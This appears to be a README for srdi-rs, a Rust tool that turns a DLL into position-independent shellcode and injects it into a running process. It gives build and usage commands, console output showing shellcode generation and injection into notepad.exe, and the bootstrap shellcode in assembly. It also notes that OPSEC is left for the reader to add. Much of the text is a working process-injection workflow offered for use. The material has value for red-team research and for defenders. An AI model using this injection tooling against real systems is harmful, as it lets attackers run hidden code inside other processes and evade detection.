Shellcode reflective DLL injection (sRDI) is a process injection technique that allows us to convert a given DLL into a position-independent code which can then be injected using our favourite shellcode injection and execution technique.
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The size of the reflective loader is approximately 4KB.
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Does not release the memory that was allocated by the injector, nor does it remove any existing
RWXpermissions set by the user injector, if applicable. -
Does not overwrite or erase the DOS or NT Headers of the newly allocated memory after/before resolving imports or rebasing image.
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Applies protection settings for each section allocated by the
VirtualAllocfunction, and subsequently executes either DllMain or SayHello functions.
What about OPSEC? Feel free to implement it yourself :)
0). Install Rust
1). Build all of the projects
cargo build --release
2). Generate the shellcode.
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe -h
Shellcode Reflective DLL Injection (sRDI)
Usage: generate_shellcode.exe [OPTIONS] --loader <LOADER> --payload <PAYLOAD> --function <FUNCTION> --parameter <PARAMETER> --output <OUTPUT>
Options:
--loader <LOADER> The reflective loader DLL path (loader.dll)
--payload <PAYLOAD> The payload DLL path (payload.dll)
--function <FUNCTION> The function to execute inside payload.dll (SayHello)
--parameter <PARAMETER> The parameter to pass to the function inside payload.dll (https://localhost:1337/)
--output <OUTPUT> The output file path (shellcode.bin)
--flags <FLAGS> The 0x0 flag will execute DllMain and any other flag will execute the function inside payload.dll (SayHello) [default: 1]
-h, --help Print help
-V, --version Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
3). Bring your own injector (BYOI) and inject the position-independent code with your favourite injection and execution technique or use the one in the repository.
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe -h
Simple Injector for PoC
Usage: inject.exe --process <PROCESS> --file <FILE>
Options:
--process <PROCESS> The target process name (notepad.exe)
--file <FILE> The PIC file path (shellcode.bin)
-h, --help Print help
-V, --version Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs> cargo build --release
Finished release [optimized] target(s) in 0.04s
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 0 --output shellcode.bin
Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: ???, arg6: 0
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin
[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e49950000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 1 --output shellcode.bin
Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: shellcode.bin addy, arg6: 1
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin
[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e499c0000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
The bootstrap shellcode:
call 0x00
pop rcx
mov r8, rcx
push rsi
mov rsi, rsp
and rsp, 0x0FFFFFFFFFFFFFFF0
sub rsp, 0x30
mov qword ptr [rsp + 0x20], rcx
sub qword ptr [rsp + 0x20], 0x5
mov dword ptr [rsp + 0x28], <flags>
mov r9, <parameter_length>
add r8, <parameter_offset> + <payload_length>
mov edx, <parameter_hash>
add rcx, <payload_offset>
call <loader_offset>
nop
nop
mov rsp, rsi
pop rsi
ret
nop
nopThe shellcode.bin file layout in memory:
Credits: Nick Landers @(monoxgas)
- https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/
- https://github.com/monoxgas/sRDI
- https://github.com/stephenfewer/ReflectiveDLLInjection/
- https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel)
- https://github.com/dismantl/ImprovedReflectiveDLLInjection
- https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
- https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
- https://github.com/Cracked5pider/KaynLdr
- https://github.com/Ben-Lichtman/reloader/
- https://github.com/not-matthias/mmap/
- https://github.com/memN0ps/mmapper-rs
- https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI
- https://github.com/Jaxii/idk-rs/
- https://github.com/janoglezcampos/rust_syscalls/
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